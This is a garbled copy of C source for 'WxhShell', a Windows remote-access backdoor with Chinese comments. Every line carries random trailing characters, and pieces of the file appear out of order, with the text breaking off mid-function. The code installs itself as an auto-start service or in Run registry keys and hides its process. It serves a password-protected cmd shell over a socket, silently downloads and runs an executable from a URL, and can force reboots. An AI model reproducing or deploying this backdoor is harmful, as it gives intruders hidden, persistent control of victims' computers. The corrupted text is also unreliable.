    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t#~r'5va  
    if(Boot(SHUTDOWN)) nv(Pwb3B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N G1]!Vz5  
    else { dfe 9)m>  
    closesocket(wsh); hq/\'Z&!+P  
    ExitThread(0); glh2CRUj  
    } "';'*x  
    break; zqqpBwk#  
    } j[yGfDb  
  // 获取shell /J8AnA1  
  case 's': { 86~HkHliv  
    CmdShell(wsh); /!UuGm   
    closesocket(wsh); 'z2}qJJ)  
    ExitThread(0); UnZ*"%  
    break; }.7!@!q.  
  } 0%}$@H5i  
  // 退出 PEoO s  
  case 'x': { C8y 3T/G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~ -Rr[O=E  
    CloseIt(wsh); V# |#% 8  
    break; R)t"`'6|  
    } @?{n`K7{`  
  // 离开 Pv`yOx&nE  
  case 'q': { L._I"g5 H9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Nm#VA.~  
    closesocket(wsh); $g _h9L  
    WSACleanup(); `|i #)  
    exit(1); ` &|Rs  
    break; z?h\7 R  
        } x$AF0xFO  
  } qJFBdJU(1  
  } "tUXYY  
Nc[>CgX"@  
  // 提示信息 ~o%|#-S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6!/e_a  
} h/`OG>./  
  } FqQm *k_  
SZ~Ti|^  
  return; LDW":k|  
} A7 .C  
()K%Rn  
// shell模块句柄 =lS~2C  
int CmdShell(SOCKET sock) 0[xum  
{ bP6QF1L  
STARTUPINFO si; 4>{q("r,  
ZeroMemory(&si,sizeof(si)); $.cNY+  k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [Ym?"YwVX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 42:\1B#[  
PROCESS_INFORMATION ProcessInfo; ? 8S0  
char cmdline[]="cmd"; x'; 6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <[?oP[ j  
  return 0; d37l/I  
} T%KZV/  
%]>c4"H  
// 自身启动模式 WhSQ>h!@s  
int StartFromService(void) 0X`Qt[  
{ ss%ahs  
typedef struct jio1 #&  
{ p(%7|'  
  DWORD ExitStatus; Dz]&|5'N  
  DWORD PebBaseAddress; "}Ch2K  
  DWORD AffinityMask; A(W%G|+  
  DWORD BasePriority; > z h  
  ULONG UniqueProcessId; ]o_Z3xXUa  
  ULONG InheritedFromUniqueProcessId; ;) 5d wq  
}   PROCESS_BASIC_INFORMATION; hv}rA,Yd  
#wNksh/J^  
PROCNTQSIP NtQueryInformationProcess; q*Yh_IT.I  
/P5w}n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a =*(>=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NUEy0pLw  
OTL=(k  
  HANDLE             hProcess; kW4/0PD  
  PROCESS_BASIC_INFORMATION pbi; X(?.*m@+TB  
d[w'j/{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B1JdkL 3h  
  if(NULL == hInst ) return 0; 0lF.!\9  
5 r"`c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0MF[e3)a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .Hl]xI$;+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fr;>`u[;  
/lx\9S|  
  if (!NtQueryInformationProcess) return 0; hkJ4,.  
 3@J0-w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V z8o  
  if(!hProcess) return 0; 5 1@V""m  
|J'@-*5?[8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0V"r$7(}  
>1,.4)k%K  
  CloseHandle(hProcess); XN5EZ#  
8*H-</ =  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vmvk  
if(hProcess==NULL) return 0; m7zen530  
rF2`4j&!  
HMODULE hMod; Ps+0qqT*  
char procName[255]; tjBs>w  
unsigned long cbNeeded; rC14X}X6  
\$/)o1SG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x:88E78  
7;#9\a:R?  
  CloseHandle(hProcess); {x W? v;  
Q$Ga.fI  
if(strstr(procName,"services")) return 1; // 以服务启动 JWr:/?  
bA@!0,m  
  return 0; // 注册表启动 tU >wRw=d  
} G6w&C^J*8>  
A9Q!V01_  
// 主模块 F.HD;C-;(  
int StartWxhshell(LPSTR lpCmdLine) V'#dY~E-P  
{ _~&6Kb^*  
  SOCKET wsl; *$Z}v&-0k  
BOOL val=TRUE; iN"kv   
  int port=0; JC(rSs*  
  struct sockaddr_in door; 4v T!xn  
2BXpk^d5y  
  if(wscfg.ws_autoins) Install(); z~L''X7g  
Al09R,I;  
port=atoi(lpCmdLine); C$vKRg\o  
A`T VV  
if(port<=0) port=wscfg.ws_port; )y\^5>p[  
Ds9pXgU( Z  
  WSADATA data; od{Y` .<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^o_2=91  
=dHM)OXD"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d=o|)kV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dQYb)4ir  
  door.sin_family = AF_INET; ^ ~:f02[D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gD3s,<>o  
  door.sin_port = htons(port); Gi~p-OS,  
2qo=ud  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~YA* RCe  
closesocket(wsl); \{t#V ~  
return 1; a*$to/^r  
} mv O!Y  
}=z_3JfO  
  if(listen(wsl,2) == INVALID_SOCKET) { Y;8Ys&/t  
closesocket(wsl); _7'9omq@  
return 1; 8*!<,k="9  
} mTz %;+|L  
  Wxhshell(wsl); 0; 2i"mzS\  
  WSACleanup(); :'91qA%Wr  
D*6v.`]X  
return 0; mcy\nAf5%  
L3JFQc/oh~  
} +>/ariRr  
rdhK&5x*  
// 以NT服务方式启动 onRxe\?D(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gELku .  
{ N:GSfM@g  
DWORD   status = 0; BAG) -  
  DWORD   specificError = 0xfffffff; XE* @*  
7Ab&C&3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4 sasf94  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SeN4gr*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $,v '>  
  serviceStatus.dwWin32ExitCode     = 0; oG M Ls  
  serviceStatus.dwServiceSpecificExitCode = 0; A-^[4&rb  
  serviceStatus.dwCheckPoint       = 0; Q1jU{  
  serviceStatus.dwWaitHint       = 0; Ig}G"GR  
lT#&\JQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k"\%x =#  
  if (hServiceStatusHandle==0) return; T$T:~8tK3  
J( JsfU4  
status = GetLastError(); G3'>KMa.  
  if (status!=NO_ERROR) ?YWfoH4mS  
{ , (dg]7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v#0F1a?]D  
    serviceStatus.dwCheckPoint       = 0; 8^\}\@  
    serviceStatus.dwWaitHint       = 0; {STOWuY  
    serviceStatus.dwWin32ExitCode     = status; h[ #Lg3  
    serviceStatus.dwServiceSpecificExitCode = specificError; i]J*lM7'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g}"`@H(9r3  
    return; xI}o8GKQq  
  } dU1w)Y  
n8UQIa4&=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $R(?@B(  
  serviceStatus.dwCheckPoint       = 0; 5b45u 6  
  serviceStatus.dwWaitHint       = 0; x|U~?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F-[zuYGp  
} 7[h_"@_A7  
x=T`i-M  
// 处理NT服务事件,比如:启动、停止 ma9q?H#X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [ -"o5!0<  
{ gNF8&T  
switch(fdwControl) F1)B-wW  
{ =M'M/vKD  
case SERVICE_CONTROL_STOP: PLU8:H@X  
  serviceStatus.dwWin32ExitCode = 0; nlmc/1C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *vt5dxB  
  serviceStatus.dwCheckPoint   = 0; B!-hcn]y  
  serviceStatus.dwWaitHint     = 0; E9z^#@s  
  { =y -L'z&r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M4 SJnE  
  } rCfr&>nn  
  return; <6QG7 i  
case SERVICE_CONTROL_PAUSE: uMVM-(g%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s3qWTdM  
  break; nfpkWyIu{  
case SERVICE_CONTROL_CONTINUE: `q|&;wP.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mAMi-9  
  break; **_`AM~  
case SERVICE_CONTROL_INTERROGATE: JLUG=x(dA  
  break; Py7!_TX  
}; t\~lGG-p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ddvSi 6  
} pYZ6-s  
QR4rQu  
// 标准应用程序主函数 A tl`J.;G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :W]?6=  
{ aEU[k>&  
]@X5'r"  
// 获取操作系统版本 KiW4>@tY  
OsIsNt=GetOsVer(); e~R; 2bk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .{sKEVK  
<"A|Xv'Q  
  // 从命令行安装 ^?PU:eS  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z0&^U#]  
S^q)DuF5!  
  // 下载执行文件 N<lejZ}!q  
if(wscfg.ws_downexe) { w1HE^ /  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rt">xVl  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7pMl:\  
} h/~:}Bof  
r>73IpJI  
if(!OsIsNt) { #p& &w1  
// 如果时win9x,隐藏进程并且设置为注册表启动 h'VN& T,  
HideProc(); ?_mcg8A@@*  
StartWxhshell(lpCmdLine); (ii6w d< *  
} x ,$N!X  
else J-*&&  
  if(StartFromService()) Gt#Jr!N~  
  // 以服务方式启动 #vrxhMo  
  StartServiceCtrlDispatcher(DispatchTable); qu]ch&"?U  
else b`"E(S/  
  // 普通方式启动 I)#=#eI* :  
  StartWxhshell(lpCmdLine); iEx.BQ+  
&:}e`u@5|  
return 0; v{{Cj83S+  
} L%](C  
kwxb~~S}h(  
^0"^Xk*  
T}} 0hs;  
=========================================== N]n]7(e+0C  
*Q2;bmIc  
C!Cg.^;  
9~+A<X]Hd  
E)==!T@E  
n]M1'yU  
" \b {Aj,6,  
)aoB -Lu  
#include <stdio.h> \zj _6Os  
#include <string.h> s_]p6M  
#include <windows.h> ?^Sk17G  
#include <winsock2.h> 5.gM]si  
#include <winsvc.h> JQ{ g' cT  
#include <urlmon.h> ,w~0U  
rM<lPMr1*  
#pragma comment (lib, "Ws2_32.lib") Bvzu{B%  
#pragma comment (lib, "urlmon.lib") >55c{|"@L  
2p\CCzw  
#define MAX_USER   100 // 最大客户端连接数 ~wnTl[:  
#define BUF_SOCK   200 // sock buffer &gJKJ=7  
#define KEY_BUFF   255 // 输入 buffer }~P%S(zB  
n8(B%KF  
#define REBOOT     0   // 重启 p7(Pymkd  
#define SHUTDOWN   1   // 关机 '\%c"?  
OJd!g/V  
#define DEF_PORT   5000 // 监听端口 6BIP;, M=  
Xx{ho 4qq  
#define REG_LEN     16   // 注册表键长度 wX}N===  
#define SVC_LEN     80   // NT服务名长度 KTn,}7vZ  
8 vNgePn  
// 从dll定义API gfQ&U@N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *8}Y0V\s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =4GJYhj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (]wi^dE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }.Eq_wP<  
3L/qU^`  
// wxhshell配置信息 =a rk?<E  
struct WSCFG { %M8Egr2|0  
  int ws_port;         // 监听端口 "8K>Yu17  
  char ws_passstr[REG_LEN]; // 口令 R'a%_sACj>  
  int ws_autoins;       // 安装标记, 1=yes 0=no wu?ahNb.`Y  
  char ws_regname[REG_LEN]; // 注册表键名 H <CsB  
  char ws_svcname[REG_LEN]; // 服务名 i^P@?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z J(/cD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z=%+U _,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 * d6[k Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xGbr>OqkTX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h&4uf x6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a]:tn:q  
U$a Eby.  
}; SsA;T5:6  
G yZYP\'S+  
// default Wxhshell configuration x_1JQDE  
struct WSCFG wscfg={DEF_PORT, I( BG%CO9  
    "xuhuanlingzhe", 51yI W*  
    1, "sLdkd}dj  
    "Wxhshell", ={' "ATX(U  
    "Wxhshell", ~XGO^P"?  
            "WxhShell Service", a2W}Wb+  
    "Wrsky Windows CmdShell Service", h"VQFqQy  
    "Please Input Your Password: ",  j`^':!  
  1, cT{iMgdI?  
  "http://www.wrsky.com/wxhshell.exe", AoHA+>&U  
  "Wxhshell.exe" 0?uX}8w  
    }; k5G(7Ug=g~  
.d`+#1Ot(  
// 消息定义模块 T=cSTS!P;q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Rf@D]+v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $,08y   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Wd4fIegk  
char *msg_ws_ext="\n\rExit."; *Yv"lB8  
char *msg_ws_end="\n\rQuit."; 2&91C[da0  
char *msg_ws_boot="\n\rReboot..."; $;un$ko6%  
char *msg_ws_poff="\n\rShutdown..."; E [JXQ76  
char *msg_ws_down="\n\rSave to "; m1_?xU  
N_<sCRd]9  
char *msg_ws_err="\n\rErr!"; >JT{~SRB|Y  
char *msg_ws_ok="\n\rOK!"; U`q[5U"  
^B@4 w\t  
char ExeFile[MAX_PATH]; zjgK78!<  
int nUser = 0; gd<8RVA  
HANDLE handles[MAX_USER]; oTZ?x}Z1  
int OsIsNt; "?,3O2t  
FD(zj^*  
SERVICE_STATUS       serviceStatus; 6QdNGpN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O%v(~&OSl  
^ )N[x''a  
// 函数声明 ^&<~6y}U^  
int Install(void); 47I:o9E  
int Uninstall(void); sBuJK'  
int DownloadFile(char *sURL, SOCKET wsh); LLmgk"  
int Boot(int flag); tW5 \Ktjno  
void HideProc(void); a:@9GmtV&  
int GetOsVer(void); vy/U""w`  
int Wxhshell(SOCKET wsl); kF'^!Hp  
void TalkWithClient(void *cs); #1Mk9sxo  
int CmdShell(SOCKET sock); EZ #UdK_  
int StartFromService(void); Y0BvN`E  
int StartWxhshell(LPSTR lpCmdLine); hM E|=\  
R7*Jb-;$!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sb4)@/Q7j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %u }|4BXoh  
IyG5Rj2  
// 数据结构和表定义 T\c;Ra  
SERVICE_TABLE_ENTRY DispatchTable[] = ?>MD/l(l  
{ A(_AOoA'  
{wscfg.ws_svcname, NTServiceMain}, B%6bk.  
{NULL, NULL} L5T)_iQ5  
}; Ary$,3X2  
nR/; uTTz  
// 自我安装 ,r5<v_  
int Install(void) Ga f/0/|  
{ 0w\X  
  char svExeFile[MAX_PATH]; DjOFfD\MF  
  HKEY key; B0=:A  
  strcpy(svExeFile,ExeFile); 2a.NWJS  
pALB[;9g  
// 如果是win9x系统,修改注册表设为自启动 )xQxc.  
if(!OsIsNt) { 0vG}c5;F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hM\QqZFyp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Te'^O,C)y$  
  RegCloseKey(key); hx4!P(o1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ==x3|^0y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q^sMJ  
  RegCloseKey(key); `Q26Dk  
  return 0; $Br^c< y  
    } ~ p; <H  
  } {EJVZG:&  
} )I]E%ut{4,  
else { Tp`)cdcC[  
>|0yH9af  
// 如果是NT以上系统,安装为系统服务 d!8q+FI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1ISA^< M  
if (schSCManager!=0) Qm`f5-d  
{ uW>AH@Pij  
  SC_HANDLE schService = CreateService 3FPy"[[  
  ( &Wd,l$P<O  
  schSCManager, 2?t(%uf]  
  wscfg.ws_svcname, e::5|6x  
  wscfg.ws_svcdisp, O RQGay  
  SERVICE_ALL_ACCESS, iN<5[ztd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6?*iIA$b  
  SERVICE_AUTO_START, SJU93n"G/  
  SERVICE_ERROR_NORMAL, n!Y.?mU6  
  svExeFile, t{~"vD9Am  
  NULL, $ O}gl Q  
  NULL, 1\YX|  
  NULL, v{ C]\8  
  NULL, qjR;c& qR  
  NULL 8e>;E  
  ); 8g>jz 8  
  if (schService!=0) ~ $r^Ur!E\  
  { W<!q>8Xn?  
  CloseServiceHandle(schService); BCUw"R#  
  CloseServiceHandle(schSCManager); RB/[(4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lG# &Pv>-  
  strcat(svExeFile,wscfg.ws_svcname); K'?ab 0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bG^eP :r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Jr17pu(t  
  RegCloseKey(key); 4n3QW%#  
  return 0; JS(KCY9  
    } YD@V2gK  
  } rA=F:N 2  
  CloseServiceHandle(schSCManager); VPN@q<BV  
} ]?``*{Zqy  
} ;k b^mJE  
ls*^ 3^O  
return 1; @TgCI`E   
} @Jm$<E  
fvit+  
// 自我卸载 oPa2GW8  
int Uninstall(void) *qOo,e  
{ d1y(Jt  
  HKEY key; 8.k"kXU@n  
IR/0gP  
if(!OsIsNt) { GQF7]j/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (59<Zo  
  RegDeleteValue(key,wscfg.ws_regname); yv3my aS  
  RegCloseKey(key); |lJXI:G G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /2l4'Q=  
  RegDeleteValue(key,wscfg.ws_regname); D%^EG8i n.  
  RegCloseKey(key); \XRViG,|5  
  return 0; ?-@h Nrx  
  } ^[zF_df  
} s ^)W?3t]  
} FNc[2sI  
else {  o{-PT'  
Nq*\{rb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0w+hf3K+:  
if (schSCManager!=0) EiJSLL  
{ Y!POUMA }A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1M 3U)U  
  if (schService!=0) SF.,sCk  
  { a S<JsB  
  if(DeleteService(schService)!=0) { 6 Dg[ b  
  CloseServiceHandle(schService);  h@W}xT  
  CloseServiceHandle(schSCManager); |d%Dw^  
  return 0; QyHUuG|g  
  } y|MW-|0=!  
  CloseServiceHandle(schService); t4gD*j6J3  
  } sp_(j!]jX  
  CloseServiceHandle(schSCManager); XLmbpEh  
} Opjt? ]  
} kdmVHiGF  
sgCIY:8  
return 1; PI{sO |  
} }1 _gemlf  
Wb4sfP_  
// 从指定url下载文件 d9Q%GG0]  
int DownloadFile(char *sURL, SOCKET wsh) 3[V|C=u0  
{ 3Ji,n;QLm  
  HRESULT hr; *f4KmiQ~ %  
char seps[]= "/"; M/1Q/;0P  
char *token; qbP[  9  
char *file; vxqMo9T  
char myURL[MAX_PATH]; Szg<;._J  
char myFILE[MAX_PATH]; #Jm_~k  
'|]zBpz  
strcpy(myURL,sURL); |fw+{f  
  token=strtok(myURL,seps); {Or|] 0  
  while(token!=NULL) ,/d-o;W  
  { %< W1y  
    file=token; ;^rZ"2U l  
  token=strtok(NULL,seps); CiMy_`H  
  } 3i s .c)  
J|'T2g  
GetCurrentDirectory(MAX_PATH,myFILE); o1n c.2/0J  
strcat(myFILE, "\\"); _puQX@i  
strcat(myFILE, file); gsU&}R1*h  
  send(wsh,myFILE,strlen(myFILE),0); e,4!/|H:  
send(wsh,"...",3,0); =r_ S MTu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Mb<KZ_wYOX  
  if(hr==S_OK) QPFpGS{d  
return 0; $~:hv7%  
else 4uu*&B  
return 1; wPc,FH+y  
}XXE hOO  
} k"sL.}$  
QY^ y(I49  
// 系统电源模块 c3 wu&*p{  
int Boot(int flag) tXp)o >"  
{ 2XI%4  
  HANDLE hToken; SA/0Z=  
  TOKEN_PRIVILEGES tkp; +6;OB@  
w1KQ9H*  
  if(OsIsNt) { r} ,|kb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &pmJ:WO,h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +QHhAA$  
    tkp.PrivilegeCount = 1; ]7VK&YfN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PkVXn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z?gJHN<  
if(flag==REBOOT) { |QzPY8B9O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nB:Bw8U"Q  
  return 0; de`6%%|  
} ZO;]Zt]  
else { Awr]@%I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5S7Z]DXiT8  
  return 0; CY 7REF  
} v(t&8)Uu  
  } lO) B/N&  
  else { m# SZI}  
if(flag==REBOOT) { :qT>m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3AB5Qs<  
  return 0; ~}M{[6!  
} Z7f~|}  
else { d@l;dos),  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CjST*(,b  
  return 0; X:e'@]Z)?  
} N&GcWcq  
} 3{c&%F~!  
UG!&n@R  
return 1; ;{ezK8FJ}@  
} HwGtLeB"  
s e1ipn_A  
// win9x进程隐藏模块 _E "[%  
void HideProc(void) Jg Xbs+.  
{ Z g'[.wov  
2 43DdIG$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "*T)L<G  
  if ( hKernel != NULL ) [cH/Y2[  
  { 1";~"p2(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6 S&#8l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  o _CVZ  
    FreeLibrary(hKernel); y~dW=zO  
  } r'!l` gm,S  
*CG2sAeB  
return; Hv=coS>g:  
} \.{JS>!  
H}$#aXEAn  
// 获取操作系统版本 T8\,2UWsj2  
int GetOsVer(void) %sq=lW5R{b  
{ K)v(Z"  
  OSVERSIONINFO winfo; :{AN@zC0\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hlVP_h"z  
  GetVersionEx(&winfo); K l4",  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0hv[Ff  
  return 1; Z/I!\  
  else eGE%c1H9a  
  return 0; hT_snb;ow  
} 4R0_%x6vG  
t"L:3<U7  
// 客户端句柄模块 \Dc\H )  
int Wxhshell(SOCKET wsl) v_ J.M]  
{ ZD<,h` lZ  
  SOCKET wsh; *dQRs6  
  struct sockaddr_in client; J\%:jg( m  
  DWORD myID; Z  b1v  
J^XH^`'  
  while(nUser<MAX_USER) hw7_8pAbh  
{ T-@pTJ !K9  
  int nSize=sizeof(client); ;klDt|%3j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .dfTv/n  
  if(wsh==INVALID_SOCKET) return 1; 3}+/\:q*  
X}!_p& WI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U!'lc} 5  
if(handles[nUser]==0) %MIu;u FR  
  closesocket(wsh); = MXF`k^}  
else she`_'?5  
  nUser++; r" D|1  
  } \xdt|:8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xvkof 'Q)  
-`RJ k(  
  return 0; Y!`?q8z$G  
} V.4j?\#%  
5[3hw4  
// 关闭 socket GWW@8GNI  
void CloseIt(SOCKET wsh) 4 hj2rK'y  
{ VgdkCdWRm_  
closesocket(wsh); Q(sbClp"  
nUser--; ;L[9[uQ[C  
ExitThread(0); Z:*U/_G  
} aw 7f$Fqk  
 ZBXGu f  
// 客户端请求句柄 lfA  BF  
void TalkWithClient(void *cs) <,GHy/u\  
{ vBpg6 fX  
~;+vF-]R  
  SOCKET wsh=(SOCKET)cs; MJb = +L  
  char pwd[SVC_LEN]; 5bw]cv$i  
  char cmd[KEY_BUFF]; V ;6M[ic}  
char chr[1]; ~L1O\V i  
int i,j; <H p"ZCN  
fH.W kAE1  
  while (nUser < MAX_USER) { "VeUOdNA>  
d5%*^nMpY  
if(wscfg.ws_passstr) { 1^;h:,e6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J'EK5=H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M;9+L&p=  
  //ZeroMemory(pwd,KEY_BUFF); =6dKC_Q  
      i=0; xsvs3y|  
  while(i<SVC_LEN) { HB}gn2 .1&  
$7r wara  
  // 设置超时 `SW " RLS3  
  fd_set FdRead; KCFwO'  
  struct timeval TimeOut; mx[^LaR>v  
  FD_ZERO(&FdRead); o`U\Nhq  
  FD_SET(wsh,&FdRead); VB#31T#q?  
  TimeOut.tv_sec=8; ? 1{S_  
  TimeOut.tv_usec=0; @Otc$hj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KC u6:)6'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^ZlV1G;/W@  
Rf^cw}jU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n96gDH*  
  pwd=chr[0]; qIT{`hX  
  if(chr[0]==0xd || chr[0]==0xa) { 85fDuJ9$Z"  
  pwd=0; u s0'7|{q  
  break; =tNiIU  
  } -FR;:  
  i++; VB\6S G  
    } 9c^EoYpy-  
;40m goN  
  // 如果是非法用户,关闭 socket <f6PULm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J){\h-4  
} ZX;k*OrW  
}^<zVdwp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }ELCnN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :U q]~e  
_e_%U<\4  
while(1) { t4*A+"~j  
%MJ7u}  
  ZeroMemory(cmd,KEY_BUFF); &-:yn&f7  
l{U3;  
      // 自动支持客户端 telnet标准   `.W;ptZ6  
  j=0; DxgT]F%  
  while(j<KEY_BUFF) { gk1S"H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PoJyWC  
  cmd[j]=chr[0]; f5 %&  
  if(chr[0]==0xa || chr[0]==0xd) { =)YYx8gR  
  cmd[j]=0; 'lk74qU$  
  break; ss{=::#  
  } uq%3;#[0  
  j++; Nj_sU0Dt  
    } C<t>m_t9  
@>IjfrjV  
  // 下载文件 ,rI |+  
  if(strstr(cmd,"http://")) { A4FDR#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); emB D@r  
  if(DownloadFile(cmd,wsh)) -ikuj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uW~ ,H}E  
  else x2sOEkcQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bJF/daC5  
  } k#5e:VOb  
  else { t)Q @sKT6  
('-}"3  
